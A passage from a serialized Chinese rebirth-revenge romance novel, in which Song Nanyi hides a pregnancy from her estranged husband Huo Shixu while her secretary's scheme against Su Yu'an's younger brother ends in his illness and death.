苏语安,再打过去时,已然打不通。
苏景晨就是一个维修工,怎么会有女孩看上他呢?
上次见他,还没有女朋友,这么短的时间,怎么突然就交上女朋友了?
她拿起手机,给苏景晨发了条信息,“景晨,你们看完电影,来我这儿一趟吧,我想跟你的女朋友,认识一下。”
消息石沉大海。
等了两个多小时。
苏语安才收到苏景晨的信息,“姐,你见她干嘛呀?她怕生,以后再说吧。”
苏语安立马给他打去了电话。
“她怕什么生?以后你们结婚了,她也不见我吗?景晨,你还小,你别被骗了。”
“我又没钱,长得也不帅,她骗我什么呀?”苏景晨不喜欢苏语安的胡乱猜忌,“姐,你别把人想得太坏了,她是一个特别好的人。”
“那就带她来见我啊。”苏语安声音急迫。
这让苏景晨反感,“改天再说吧,我们还要去别的地方,先挂了。”
“别,先别挂,景晨,今天姐姐出院,你都不过来看一眼吗?姐姐生了那么长时间的病,现在人不人,鬼不鬼的……”
“你人不人,鬼不鬼的,还不是因为自己作。”苏景晨语调里多了少有的不耐烦,“你说你惹谁不好,非要惹霍时序,说你你也不听的。”
苏语安心脏抽痛。
苏景晨从来没有用这种口气,跟自己讲过话。
他最爱姐姐的。
为什么现在去爱别人了。
“景晨你……喂?景晨?景晨……”
那就早已经挂断了电话。
被霍时序当成弃子,她还要舍命保弟弟的安全。
而弟弟呢。
却这样的伤她的心。
她好像突然被全世界抛弃了。
不,不应该是这样的。
……
苏语安到底是不死心。
苏景晨不来见她。
她便偷偷地去见他。
苏语安没敢声张,怕弟弟躲她,让她见不到他的女朋友。
一直躲着,没敢露面。
差不多跟了一个星期。
终于在他们逛商场的时候,让她给逮到了。
看着邓雪的脸。
苏语安震惊到差点失语。
“你,邓雪,你……”苏语安一把扯过苏景晨,挡在身后,护犊子般的,“……你们怎么会认识的?邓雪,你按的什么心?”
邓雪没跟苏语安吵。
眼眶一红,就可开始掉泪。
她这一委屈,苏景晨立马就心疼了起来。
绕过苏语安,将邓雪抱住,轻声地哄着她,“别哭,我姐她就是凶了点,你别怕,我说她。”
苏景晨扭脸,愠怒,“姐,你这是干什么?你都吓到小雪了,你赶紧的走吧,真扫兴。”
苏景晨站到了苏语安的对立面。
这等同于,向她的胸口上插刀子。
“景晨,你怎么会跟她谈恋爱,她比你大那么多,而且她是宋南伊的秘书,你就没想想,她接近你,是带着目的吗?”
苏景晨冷漠地看向苏语安。
把她的话,当成了疯言疯语,“她接近我会带什么目的?姐,我们是真心相爱的,我对小雪是一见钟情,你就别在这儿添乱了,赶紧回家吧。”
苏景晨揽起邓雪往外走,不再理苏语安。
苏语安咽不下这口气。
继续跟踪,逮到一个苏景晨去洗手间的机会,她便把邓雪拽住,质问,“你什么意思?你是宋南伊的秘书,你怎么会喜欢景晨?你到底有什么目的?是不是宋南伊让你来的?”
邓雪不喜欢苏语安的咄咄逼人。
她以前可不是这样的。
“语安,我呢,确实看不上苏景晨,但是他是你弟弟,所以就……”邓雪讥诮地笑着,“……谈个恋爱而已,你别紧张嘛,茶艺大师。”
“你……”苏语安扬起手来,就要打邓雪,被她紧紧的攥住,“……苏语安,你要考虑清楚哦,你要打了我,苏景晨可就跟你做不成姐弟了。”
“你们好狠啊,你们有什么冲我来,别伤害我的家人。”
苏语安眼眶里冒血。
她在最愤怒的时候,感觉到了最大的无力感。
邓雪轻笑着咬起牙根,一字一顿地说,“怎么?这就不行了?苏景晨这不是还好好的吗?宋总的弟弟可是被你害**,一命偿一命,不过分吧?”
“不要,不要这样……”苏语安失去主张。
她不知道接下来,会发生什么。
她害怕地后退着,“邓雪,求你不要伤害他,求你……”
“求我没用,苏语安,你用了最卑鄙的方式,让宋总受到了最大的伤害,这是血
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债,分毫不让。”
“宋南伊,宋南伊……”
果真是宋南伊,她太卑鄙了。
她得去找宋南伊。
宋南伊不能这么对她,不能……
……
宋南伊并没有受到霍时序绯闻的影响。
这几天,一直在宋家,陪着宋知令。
自从母亲和弟弟去世后。
父亲一瞬间老了许多。
干什么也提不起兴趣。
以往热闹的家里,现在也变得冷冷清清,毫无生气可言。
“听说,时序他,又睡到女明星家里去了?”宋知令也看到了这样的新闻。
对于这个女婿,也已经从当初的失望,变成了唾弃,“虽然,他给星言输了血,但也没必要把自己吊死在这种人身上,南伊,爸希望你过得快乐。”
“爸,我挺好的,我现在又不爱他,他跟谁在一起,发生什么,对我而言,早已经变得不重要了。”
离开是早晚的事情。
快了。
宋知令心疼女儿。
但又不想说太多,让她心里难受,“爸知道你心里有想法,爸也尊重你做出的选择,爸最近一直在想,以后要去哪里生活呢?你妈最喜欢瑞士,星言也喜欢,以后啊,爸想去瑞士定居,你觉得怎么样?”
“好啊。”
他们会在那个无人认识的国度,度过美好的下半生。
……
女明星吕恋的家里。
霍时序已经呆了三天。
吕恋将他指尖的烟卷抽走,倒了杯酒给他,“我看你家那位,不会是对你死心了吧?你都闹出这样的花边新闻,她连个质问的电话都没有。”
“她的心早就变了。”男人深呼吸,仰头把酒喝光。
她已经不在乎,他睡在哪儿,跟谁睡在一起。
可他在乎啊。
他在乎她的关心,她的质疑,她的脾气,都没有如期到达。
闹这一出,就是要她的在乎。
可是……风平浪静的。
“她……不爱我了。”他的声音听起来很痛苦。
吕恋认识霍时序十年,极少见他这样,“要不我出面解释一下吧。”
当年霍时序追求宋南伊时。
还是她在背后出谋划策。
谁能想到,霍时序能把婚姻经营到,现在这个地步。
“序哥,要我说啊,有什么事情,你得跟她解释啊,一直误会,那疙瘩是系越多,什么时候能解开啊。”
第75章 他将礼服一刀刀剪碎
吕恋说得在理。
但此时的霍时序就像走进了死胡同。
寸步难行。
“她根本不想见我。”
“我来约。”夫妻之间有什么说不开呢,况且曾经那么相爱过,“我想她应该会答应见一面的。”
……
宋南伊接到吕恋的电话,是有一些微微的错愕。
实话讲。
在此之前,她挺喜欢吕恋拍的戏。
果然,明星人前和人后,都是两副面孔。
她答应了吕恋的邀约。
还是那家法式餐厅。
出席的不止她和吕恋,还是霍时序。
当霍时序和吕恋坐在宋南伊面前的时候。
她突然有一种,小三逼宫的错觉。
男人有了外遇,带着他的挚爱,来跟自己的原配谈条件。
挺像的。
她很期待。
“嫂子,你别误会,序哥是怕他约你不出来,才让我打的电话。”吕恋称谓亲昵,优雅从容地起身,微微一笑,“我和序哥的那些新闻,都是假的,杜撰的,误会,误会,你们好好聊,我还有通告,先走了。”
霍时序拿起红酒,给宋南伊倒了半杯。
声音很轻地说,“这酒有些年份,很淳厚。”
“有事就说吧。”宋南伊本就不是来喝酒的。
“我们聊一聊,我们之间的感情。”他很淡地笑着,压抑着内心的慌乱。
宋南伊并不想聊这个,“没兴趣。”
“因为不爱了,所以才没有兴趣?”他灼望着她,似乎要将她的皮肉看透,“宋南伊,如果真的不爱了,为什么还要回来?你明明还是在乎的,不是吗?”
她平静地望向他。
只是觉得有些疲惫,“霍时序,你不觉得我们中间,夹了太多的人吗?你不觉得我们的世界,太拥挤了吗?我们之间,根本毫无信任可言,还谈什么在乎与不在乎呢?”
她重新回到他的身边,原因,他比任何人都清楚。
他许久没说话。
最后切了块牛排,放进她的盘子里,“尝尝这个,味道还不错。”
宋南伊胃口不算好。
几天,她都没怎么吃东西。
反胃的厉害。
但她很给面子的,将牛排放进口中,轻轻地嚼动着。
喉咙最先**。
她迫不得已,将食物,吐到了纸巾上。
“不好意思,我去趟洗手间。”
霍时序面色沉黑。
宋南伊对他已经生理性的厌恶。
他的这段感情,真的无法挽回了吗?
可他明明什么也没有做。
为什么,她说不爱就不爱了呢。
宋南伊去洗手间吐了。
那牛肉很腥。
以前她也吃过,味道的真的不错,是她的味觉出了问题吗?
餐,用得很潦草。
走出餐厅时。
霍时序提议,一起走走。
宽阔的人行道上,来来往往的人流不息。
他们像两个熟悉的陌生人。
不近不远,不冷不热。
他看了她一眼,伸手将她的小手握在手中,顺手装进了自己的口袋里。
无论她对他多么冷淡。
他依然放不下她。
“吕恋是我成立的娱乐公司里的艺人,当初成立那家公司,本就是闹着玩的,只有她一名艺人,没想到她红了,还红了那么久。”
“我跟她有一些朋友的情谊在,毕竟认识了十年,那天的新闻说我住在她家里,其实,那几天,她根本没在国内。”
“以后我会在这方面,多多注意,你也别往心里去。”
他不管宋南伊想不想听。
自顾自地解释着。
街道的霓虹耀眼。
反衬的二人,没了颜色。
她低头走路,对他的解释,没有半句回应。
他轻轻地握紧了她的手,便也不再说话。
……
好像日子,又回到了从前。
只是他不再急着见她,更多的时候,会在公司呆到很晚,会不停的应酬,常常带着酒气回家。
宋南伊还跟从前一样。
会照顾他,会帮他洗澡,会让路姐给他熬醒酒的汤。
仿佛一切都没变。
又一切都变了。
陆为谦和江姝言的订婚礼。
请柬送到了家里。
路姐将请柬交给宋南伊,“陆家专门差人来送的,说是让您和先生,务必要到。”
宋南伊看着白色烫金的请柬。
想到了前世,她和霍时序订婚的时候。
全城轰动。
那场订婚礼,更像一个世纪大party。
狂欢三天三夜。
江城的媒体,用此生挚爱,形容霍时序对她的感情。
一转眼,物是人非。
霍时序抱着一个很大的盒子,一步迈进来,看向宋南伊。
“请柬送来了?”
宋南伊点头,“是。”
“这是我让人给你订制的礼服,明天你就穿这个。”霍时序将衣服递给宋南伊。
某知名设计师的
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手作款。
尺寸按她以前的标准。
但过于漂亮,穿这个出席的话,会抢准新娘的风头。
“怎么不喜欢?”他看向镜子里,女人皱起的眉头。
宋南伊点头,“不太合适,我就挑一件普通一点的礼服,就可以了。”
他认为,宋南伊是在嫌弃。
只要是他送的东西,她统统不喜欢。
她就要给他这样的难堪。
“既然不合适,就剪了吧。”霍时序看向路姐,声音清冷,“路姐,拿剪刀来。”
路姐吓到了。
这礼服少说也得几百万。
就这么……剪了?
“先生,您可能是误会太太,她说不合适,是因为这件礼服太漂亮了,总不好抢了女主的风头,并不是不喜欢啊。”
路姐的解释。
霍时序一句也不相信。
从前的宋南伊,走到哪里都是最耀眼的存在。
穿衣从来不分场合。
分明就是托词。
“拿剪刀去。”霍时序沉声说。
路姐无奈,只好去找剪刀。
宋南伊面色平静如湖。
霍时序疯起来,没人可以阻止,她轻轻地将礼服脱下来,平整地放到一旁。
然后转身离开。
“去哪儿?”他不悦。
“我去休息。”
“剪完再去。”
霍时序接过路姐递过来的剪刀,当着宋南伊的面前。
将做工精致,价值不菲的礼服,一刀一刀地剪碎,剪烂。
路姐心疼的,直闭眼。
虽然霍时序有钱,但也不能这么糟蹋东西。
太浪费了。
“路姐,收拾一下吧。”
“哦。”
宋南伊转身往卧室走。
霍时序大步追了过去。
刚走到门口,他便将她摁在门板上,吻了起来。
他的吻带着酒气和怒意。
宋南伊很不喜欢被这样的强迫。
她下意识地要去打他,被他先发制人,紧紧地扣住了手腕,“宋南伊,你到底想怎样?给我个好脸看,就这么难吗?”
“是你在生气,不是我。”她已经很冷静了。
“告诉我,要怎样,你才肯开心,你想什么?车,房,钻石还是星星,只要你肯说,我就可以给。”
宋南伊笑了。
笑霍时序的幼稚。
钱,确实是万能的,可以买世间万物。
但买不到后悔,更买不温暖和冷透的心,“霍时序,你等我想好,再告诉你。”
第76章 怀孕了
他眼中闪烁着无奈和勉强。
他知道的。
她什么也不稀罕。
……
陆为谦和江姝言的订婚礼,陆家极为看重。
邀请了江城有头有脸的人物。
虽然与霍时序在私底下,闹得很不愉快。
见面时,依然尊敬客套的,说了很多冠冕堂皇的场面话。
大部分来的宾客,把今天的订婚礼,当成了交际场,大家虚与委蛇,各怀鬼胎。
霍时序与人交谈着。
宋南伊便找了个位子坐下。
她最近懒得很,又爱睡觉,对任何事情都提不起兴趣。
口味上也有改变。
就偏爱那酸酸甜甜的,溜溜梅买了一堆。
这种场合下,宋南伊跟吕恋又见到了。
“嫂子。”吕恋叫得很亲热。
抛开明星的光环,宋南伊对她也没多少喜欢,“我跟你不熟,还是叫我的名字吧。”
“理应叫霍太太才是,是我僭越了。”吕恋从服务生的托盘中,拿了两杯香槟,递给了宋南伊一杯,“前些日子,那些报道,你别放在心上,那些个狗仔都是乱讲的。”
“苍蝇不叮无缝的蛋,不是吗?”她微笑着,一脸的从容。
吕恋有些尴尬,但面上还算平静,“以后是得注意一点。”
一阵恶心涌上来。
宋南伊轻语了句,抱歉,便走向了洗手间。
没吃什么东西,自然也吐不出什么来。
今天,格外的不适。
抬眼,从镜里,看到了陆为谦。
她心脏一紧,忙转身,打招呼,“陆律师。”
他似乎有很多话要说。
欲言又止的模样,又令宋南伊揣摸不透他到底想说什么。
“陆律师,有话就说吧。”她不确定,他是不是有什么需要自己帮忙,“没关系的,你可以直说。”
“南伊,其实,订婚对我来说……我是有苦衷的。”他困难地说。
宋南伊知道这是联姻。
毫无感情可言,但这事跟她说不着,她也帮不上什么。
“陆律师,无法你的人生中,发生什么,在当下都是最好的,有时候,我们跟命运无法抗争的,接受吧,也许受柳暗花明,不是吗?”
“希望……你也能幸福。”他眼底涌动着复杂的情绪。
宋南伊微微一笑,“会的,我们都会迎来属于自己的幸福。”
二人之间的气氛与往时,有些不同。
恰好这时,走过来的霍时序,捕捉到这种暗流。
他墨色的眸子,深深地凝视着二人。
直到目送陆为谦先行反方向离开,他才走到了宋南伊的身旁,“脸色不太好,是不舒服吗?”
他抬手想摸一下她的额头。
她躲开了,“有点。”
“刚刚聊什么了?”他唇角带着微笑,像是不经意的。
她没有回避,如实说,“相互祝福吧,人生总有一些遗憾,遗憾未必不是通往幸福的另一条路,不是吗?”
他承认她说得有道理。
可为什么,他的遗憾,却走向死胡同,走向地狱呢。
不知道,为什么,他有一种随时要失去她的错觉。
好像哪天一醒来,她就不见了。
“南伊。”他轻轻地拥住了她,“我们之间会有遗憾吗?”
宋南伊没有给他答案。
他们之间的不应该叫遗憾,应该是结束。
两个相爱过的人。
退出彼此的生命,是一件很痛苦的事情。
可这种痛苦,在日复一日的折磨下,反而不那么撕扯心肺。
……
大厅里的订婚礼,还在大家祝福声中,继续着表面上看起来的幸福。
宋南伊站在霍时序的身边。
郎才女貌,举案齐眉,令人羡慕。
又是一阵的恶心感,涌上来。
宋南伊突然就意识到了不对劲。
今天,太频繁了。
她是个女人,她太知道,这些反应是什么了?
但是每次和霍时序有过后,她都会吃事后药,一次都没有落下。
怀孕?
会是真的吗?
不,她不想在这种时候,怀上他的孩子。
不会的。
她只是单纯的不舒服。
她只是因为季节的原因,才变了胃口。
她绝对不可能怀孕的。
那药又不是假的。
“霍时序,我有点不舒服,我可以先回去吗?”她无力地靠在他的身旁,低低地说,“可能是刚刚喝的香槟跟胃口不合,我现在很想吐。”
“我们这就走。”
霍时序打横抱起宋南伊,在众目睽睽之下,走出了礼堂。
他想送宋南伊直接去医院。
她拒绝了。
“回去喝点姜汤就好了,没大事。”她像一只柔软的小猫,小手圈住了他的腰。
霍时序的怀里满满的,那滋味别提有多满足,“别勉强自己,嗯?”
“我睡一会儿,
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到家叫我。”
“好,你睡。”
……
隔天醒来后的宋南伊。
还是去了一趟医院。
在抽血之前,她特意用药店里买的验孕棒测了一下。
第二道杠,不是很清楚。
她猜,十之**,是没有怀。
挂了号,去抽了血,她安静地等着检查的结果。
“宋南伊,请到8号窗口,拿你的检验结果。”叫号器里,喊着女人的名字。
她起身,去拿了新鲜出炉的检验单子。
看到上面的结论。
她一时没有缓过神来。
她怀孕了。
是真的。
她抚着小腹,缓缓地坐下,将眼睛闭了起来。
前世,那个她备孕三个月,怀上的宝宝,她死都没有看他一眼。
怎么这一世,他又来了。
“你干嘛这么想不开?妈妈不能要你,宝宝,去幸福的家庭投胎吧,妈妈真的……对不起你。”
“傻孩子,这世上可以当你爸爸妈妈的人太多了,别再来找我了,好吗?”
痛定思痛后。
宋南伊当即找了医生,约了手术。
时间就定在下周。
她的心跳得很快,不安,焦虑,纠结,导致她开车的时候,差一点撞到行人。
打了把方向。
她回了自己的娘家。
她现在和宋知令相依为命,总是隔天岔五的就回家陪父亲。
她觉得这事,有必要跟父亲讲一下。
“怀孕了?”宋知令认为这是好事,“为什么不想要?”
“爸,我觉得这个孩子,不应该来。”
宋知令心疼地看向女儿,“你这个孩子,就算是要跟霍时序离婚,咱们家也不是养不起一个孩子啊,你要好好的想清楚。”
话是这么说。
可是……
一想到前世,她那样死在产床上,她就心有余悸。
她很怕。
可她又无法将这事,告诉宋知令。
这个家里,她只有这一个爸爸了。
“爸,别担心我,这事,我会好好想想的。”
……
夜深人静。
宋南伊抚着小腹,坐在阳台上望着星空发呆。
她怎么会不知道,这个孩子是她和父亲的灯,他将会照亮他们未来那灰暗的路,让生活重新燃起希望。
可这也是霍时序的孩子啊。
是她死在产床上,才生下来的孩子。
她要如何面对这一切……
第77章 流产
流产这天。
宋南伊谁也没有讲。
她一个人,做了术前检查。
然后独自躺在了冰冷的产床上。
无影灯下。
腿,以羞耻的方式打开,她缓缓地闭上眼睛。
负责手术的医生,拿着她检查完的单子,多问了一句,“你以前生过孩子?”
宋南伊心口一震。
那是她前世的事情。
“怎么这么问?”
“也没什么,就是你的报告上写着,子宫上有**剥离过的痕迹。”医生猜,大概是未婚生子这样的情况,也没有再继续追问,而是,“你的子宫情况不算太好,这个宝宝流掉后,以后能不能再有孩子,再做妈妈,可就看天意了。”
医生在准备着术前的工作。
消毒,上扩张器。
不由的,又看了手术床小的女人一眼,“我看你年纪也不是很大,老这么作践自己的身体可怎么行?男人不负责任,你得自己负责自己,一胎一胎地刮,以后有的后悔的。”
金属器械,叮咚作响,在进入到宋南伊身体的时候,她突然后悔了。
“医生,我可以再考虑一下吗?我今天……不想做了。”
医生收回器械,幸好,她还没有开始,“当然可以。”
手术中断。
宋南伊一步一颤地走下了手术床。
就如宋知令说的,宋家不是养不起一个孩子。
等她办完所有的事情,就会离开江城,霍时序不会知道她去哪儿,也不会知道她有个孩子。
他们一辈子不会见面。
就算哪一天见了,那时孩子也大了,她兴许也已经嫁给别人了。
从此,两个世界。
这么一想,她的心宽了不少。
从医院出来。
宋南伊去了自己的工作室。
在地下停车场,她总感觉有人鬼鬼祟祟地跟着她。
步子不由地加快。
在电梯门要关上的那一刹那。
有人抬手挡住了要关闭的门,将自己挤了进来。
“宋南伊,终于让我等到你了。”
宋南伊眉心一紧,防备地看向这张熟悉的脸,“苏语安?你等**什么?上次你**我,我没有报警,是给你留退路,如果你再做过分的事情,这里的监控摄像头,可是全程记录,你想跑都跑不了。”
“宋南伊,你为什么让邓雪去勾引我的弟弟,他那么单纯,我们之间的恩怨,为什么要转移到一个无辜的人身上,你不觉得,你很卑鄙吗?”
苏语安咬牙切齿。
她死死的瞪着宋南伊,像要是把她撕咬了一般。
宋南伊垂眸低睨。
从容轻笑,“你是怎么有脸说出这种话来的?”
“不是吗?你有种冲我来,别冲我的家人。”
“你放过我的家人了吗?”宋南伊往苏语安面前走着,红着眼将她逼到墙角,“你有种,你冲霍时序去了吗?你还不是把你跟他的恩怨,全部嫁接到了我和我的家人身上?苏语安,事到如今,都是你自找的,这才刚刚开始。”
“你,你打算要对景晨怎样?”苏语安颤间音色问。
宋南伊淡睨着她,旋即收回视线,“看他造化喽。”
电梯门打开。
宋南伊一步迈了出去。
苏语安不死心的,又追了出来,“你不要害他宋南伊,你有什么怨什么恨,冲我来……”
“你以为你就逃脱得了吗?苏语安,你做的那些错事,我会一件一件地,讨回来。”
她会让这个恶毒的女人,得到应有的报应。
苏语安快跑追上宋南伊,伸手拦下她。
从口袋里摸出一把刀子。
刀尖锋利,闪着精光。
宋南伊愕然。
上次**想烧死她,这次是想捅死她吗?
“你想干什么?”
“宋南伊,如果你执意要伤害景晨,我就,我就……”刀子在她手上颤抖着。
苏语安不是怕宋南伊。
她怕的是霍时序。
“你就怎样?”宋南伊往她面前走了一步,刀尖几乎就抵在了胸膛,“苏语安,如果今天你的刀子敢伤到我,我敢保证,下一秒苏景晨就从这个世界消失。”
宋南伊不是在说大话。
苏语安再疯再颠,她也不会拿苏景晨的命开玩笑。
她太爱这个弟弟了。
“我……我不敢。”苏语安扔掉了手上的刀子。
扑通给宋南伊跪了下去。
“南伊姐,对不起,真的很对不起,我做了太多的错事,请你大**量,放过景晨,他还那么小……你可以对付我,你想怎样就怎样,求你了……”
苏语安开始磕头。
一个,两个,三个……
额头磕出血,看起来挺惨的。
宋南伊心疼,被她的血当染脏的
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波斯地毯。
“小孙,找个人收拾一下,这地毯脏了,丢掉吧。”
助理小孙走过来,“好的,宋总。”
“南伊姐,求你了,放过景晨,求你了……”苏语安脸上是潺潺的血迹。
那血腥味,令宋南伊反胃。
她捂着嘴,快步走进了自己的办公室,跑到洗手台,吐了个天昏地暗。
她记得,前世怀宝宝的时候,她孕反也这样的严重。
难道……
真的是她的宝宝又来投胎了?
她不是知道是庆幸,还是该缅怀。
好像一切重新开始。
好像又没有。
胃里舒服了一些后,宋南伊给邓雪打了个电话,问起了那边的情况。
邓雪如实跟她汇报,“苏景晨到底是个孩子,被我哄哄,就对我百依百顺,爱得很是上头。”
“男人无论年纪大小,都是有劣根性的,可以下一步了。”宋南伊捏着眉心说。
“好的宋总。”
宋南伊不是菩萨。
怜悯仇人的弟弟,是对宋星言的背叛。
“我希望尽快解决。”
“明白。”
刚挂断电话。
霍时序推开办公室的门,走了进来。
宋南伊由诧异转为不悦,“进来请敲门。”
霍时序不经常来她的工作室。
难不成,又是苏语安打的电话。
想到这个,她就头疼。
“有事就说,我还要工作。”
霍时序眸色深沉,轻声询问她,“我听说你去了医院,是哪儿不舒服吗?给你打电话不接,发信息也不回,我很担心,就过来看看你。”
宋南伊神色微敛。
刚刚她的手机确实是响了。
当时,她正与苏语安在对峙,哪有心情接电话。
敷衍道,“胃不舒服,去看了看医生。”
“医生怎么说?”男人紧张地问。
“胃炎,开了些药,我已经吃过了。”
他松了口气,似是不经意地问,“我刚刚来时,看到苏语安了,她哭得很厉害,说你找人对付她弟弟,有这事吗?”
宋南伊眸色微压。
看吧。
关心病情是假,上门讨要说法倒是真的。
他还是那么在乎苏语安,她以为,他那个劲儿过去了呢。
“没错,我是在对付她弟弟,霍总是要插手过问?”宋南伊唇角很冷。
第78章 他的心突然空了
霍时序沉默了片刻,情绪复杂地说,“你还在记恨她?”
这话问得像个笑话。
苏语安做过什么,他比任何人都清楚。
这像是在反问她,何必那么小气一般。
宋南伊轻呵,“不应该吗?”
“就不能放下过去吗?”霍时序不解,为什么宋南伊的心结如此难以解开,“一直活在仇恨和痛苦之中,你如何能快乐起来?”
“快乐?”他给她出了个难题。
她早已经不知道快乐的滋味,“霍时序,忘记等于背叛,死的不是你的家人,你当然没有感觉,你当然可以轻飘飘地说一句,释怀,可我做不到。”
“妈和星言去世,我也很难过,但永远活在过去,有什么意义呢?”
他想劝她想开一点。
人生还很长。
不必让那些仇恨染红眼睛。
“南伊,如果你想报仇,我来帮你报,我只求你,能开心一点,能快乐一点,你快乐,我才能快乐。”
听听。
这话说得多动听。
她冷笑的眼睛,睨向他,情绪翻涌,“那你现在把苏语安杀了,然后**,我或许能快乐起来。”
他又沉默了。
他最会用沉默来无声地消耗宋南伊。
宋南伊的心,在这无声的拉锯中,愈发苦涩。
“霍时序,在我所有经受的苦难当中,你也是其中一环,比起苏语安来,你也没有好到哪里去。”女人苦涩,唇齿颤抖,“你有什么资格劝我放下?你和她一样该死,你们都欠我的,欠星言的,欠我母亲的。”
霍时序心口像压了大石。
他知道,他有很多对不起她的地方。
终是开口,“南伊,再给我点时间,我会给你一个满意的答案。”
宋南伊轻轻摇头。
她不会再相信他了。
永远不会。
“霍总请回吧,我还有工作。”宋南伊打开了电脑。
窗外春雨如绵。
天气黯淡沉闷。
就像她此时的心情。
男人站在门口,回首望向只给了他背影的女人。
他的心突然空了。
是对她的亏欠吗?
他或许真的错了。
但当下,他没有更好的选择。
“南伊,你要相信,我是爱你的。”
宋南伊闭了闭眼。
何必呢。
……
江城一个名为[瑶池]的风月场所。
那里灯火阑珊,藏着无尽的沉醉与迷离。
苏景晨已经连续一个月,在里面醉生梦死。
苏语安找到他时。
烂醉如泥。
“景晨,景晨……”
“邓雪就是这样照顾你的?”
“她怎么可以带你来这种地方?景晨,你醒醒……”
回应她的,唯有死寂。
苏语安打了辆车,将他带离了这纸醉金迷的地方。
苏景晨醒来时。
头晕目眩,喉咙干涩。
更令他难以忍受的是,全身细密的小疙瘩,瘙痒难耐。
苏语安为他端来一碗温热的粥:“来,先喝点粥,胃能好受一些。”
“姐?我怎么会在这儿?我记得我……”他眼神迷茫,下意识地挠了挠胳膊。
“景晨,那种地方是你去的地方吗?”苏语安目光落在他因抓挠而泛红的胳膊上,“怎么,身上痒吗?”
他点头,眉心微蹙,“这几天,我身上莫名其妙地冒出许多小红点,可能是酒精过敏吧。”
以前,他极少喝酒。
酒量也不行。
但是[瑶池]里的酒,甜甜的,喝了就欲罢不能。
他就一瓶接着一瓶地开。
苏语安心口不安,下意识地捞起手机查询。
“景晨,你在里面,只是单纯的喝酒,没干别的吧?”
苏景晨明显心虚,眼神闪烁其词,“也,也……反正,就是喝酒的时候多。”
苏语安心脏猛地一缩。
目光中带着几分不确定,“什么意思?你在里面……跟那些坐台的……是不是?”
“几次而已。”苏景晨避开苏语安的直视,声音低了几分,
他没觉得这有什么,就是怕邓雪知道,“姐,你认识小雪,可千万不要告诉她这件事情啊。”
苏语安意识到了什么。
抓住了苏景晨的胳膊,力道加重,“那你有没有防护措施?用套了吗?”
苏景晨搔搔头发,表情略显轻浮,“那些女的可以随便上的,根本不需要那玩意,她说,她们都打了一种针,不会怀孕的。”
苏语安身子一下软了。
像是抽掉了所有的气力。
她想到各种性病
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,以及最严重的艾滋病。
沉重得令她无法呼吸。
“走,马上去医院。”
苏景晨身子懒得不行,头也昏沉,“去什么医院,我再睡一会儿。”
“苏景晨,你都得绝症了,你还睡?赶紧的,跟我去医院。”苏语安急得快要哭。
“过个敏就绝症了?”苏景晨淡笑,调侃苏语安的过度反应,“好了姐,你想多了,我先睡一会儿,睡起来再说。”
“你这个极有可能是艾滋病,你要**苏景晨。”
苏景晨这才后知后觉的,开始害怕起来,“艾滋病,我怎么可能得艾滋病呢?你又不是医生,你怎么会知道……”
他不相信。
他就玩过那么几次。
那些女的长得像天仙似的,身上香香的,怎么会有这种病传染给他呢。
“姐,你别吓我,这种病哪是随便能得的。”
“你这样不做任何保护措施,就是能随便得,马上跟我去医院。”
无论苏景晨相信与否。
他依然最终确诊了,各种性病一大堆,还感染了HIV。
这像一个晴天霹雳,将姐弟两个打入了无底深渊。
“我不信,我才二十岁,怎么会得这种病,不,我不相信……”
苏景晨受到了刺激。
在马路上横冲直撞,苏语**都拉不住。
最终被疾驰而来的车子撞了出去,当场身亡。
“景晨……”
空气中,只有苏语安撕裂的声音……
邓雪将消息告诉宋南伊时。
她前所未有的平静。
似乎,本就该这样。
似乎,这样是最合理的。
“我听说苏语安,接受不了这件事情,要么在苏景晨出事的马路上哭,要么在墓地哭,她家人更是把苏景晨的死,全部记恨到了她的头上,与她断绝了关系,不许她再回家。”
恶人就得是这样的报应。
宋南伊的心很坦然。
只是眼尾仍然漫上了一抹红。
她的星言,她已经替他报仇了。
“老板,苏语安确实是报应不爽,但她现在光脚不怕穿鞋的,万一,她**式的报复,怎么办?”
宋南伊睫毛微微翕动。
苏语安报复,那是板上钉钉的事情。
“没关系。”她不怕。
第79章 他不配
与此同时。
霍时序那边,也得到了苏景晨出事的消息。
他沉默良久。
江淮试探性地问,“霍总,您觉得这事,是太太做得太过分了吗?”
“苏景晨是自己出的车祸,跟她有什么关系。”
“倒也是,但苏语安会把这事,算到太太头上,万一……”江淮担心。
霍时序抽了根烟,递到唇上,轻轻地吸着,“留着她,是因为她对于我来说还有用,如果她实在想作死,我不介意送她离开。”
“现在苏景晨**,苏语安要是再……霍总,那挪威边……”
他知道霍时序一直留着苏语安的目的。
在治疗的药物还没有出来之前,只有她才能延长那边的生命。
苏语安不能死。
万万不能。
但现在看来,霍时序似乎对她也是忍无可忍。
“霍总,我倒是有个主意。”
霍时序掀起眼皮,“说说看。”
……
宋南伊的孕反越来越厉害。
通常,霍时序在家的时候,她会憋着。
实在憋不住。
她就跑到没人住的客卧里,关上门来吐。
霍时序粗线条,但路姐是个女人。
找了个霍时序没在家的时候,她悄悄地问宋南伊,“太太,你最近经常吐,有没有去医院瞧瞧去啊?这老是吐下去,也不是办法。”
“没事,过几天就好了。”她的精神不太好,倦恹恹的。
在路姐看来,更加确定了她的猜测,“太太,您是不是……怀孕了啊?”
宋南伊一怔。
终究还是没有逃过路姐的眼睛。
“确实是。”
“那先生知道吗?”路姐紧张。
宋南伊摇头,“不想让他知道,路姐,你也不要告诉他,暂时先帮我保守这个秘密,好吗?”
路姐知道,二人感情已经大不如从前。
但怀孕不是小事。
霍家一家老小,都盼着宋南伊生个孩子。
这要是让他们知道了,那不得把宋南伊捧到天上去。
“太太,我不懂,为什么你不想,让先生知道你怀孕的事情?”
宋南伊抿唇。
望向窗外的落日余晖。
真的好美,把云彩都染成了七种颜色。
她淡而平静地回复着路姐的疑问,“因为他不配啊,他不配做我孩子的父亲,因为我要离开他,从他的世界彻底地离开。”
在她打算留下这个宝宝的那一刻。
她就要护他的周全。
上一世,她没做到。
这一世,她要平安地生下他,陪他一起长大。
路姐听得心酸。
多么好的一对年轻夫妻,为什么最终收场会是这样的。
“太太,您真的打算要离开先生了吗?”
“是的路姐。”距她离开的日子,已经越来越近了,“我也要有我的人生啊,我不想把我的人生,耗在一个不值得的人身上不是吗?”
路姐点头,深刻认同。
她也希望宋南伊能有一个明媚的人生。
“我明白太太,我这就给您熬一些减轻孕吐的粥来喝,希望宝宝健康的,在你的肚子里长大。”
宋南伊笑了笑,“谢谢你路姐。”
……
宋南伊给自己定的是三个月的时间。
必需同霍时序结束关系,远走高飞。
她想跟陆为谦见一面。
似乎,也只有需要他帮忙时,才会记起他。
但她的确需要,他为自己起草一份离婚协议书。
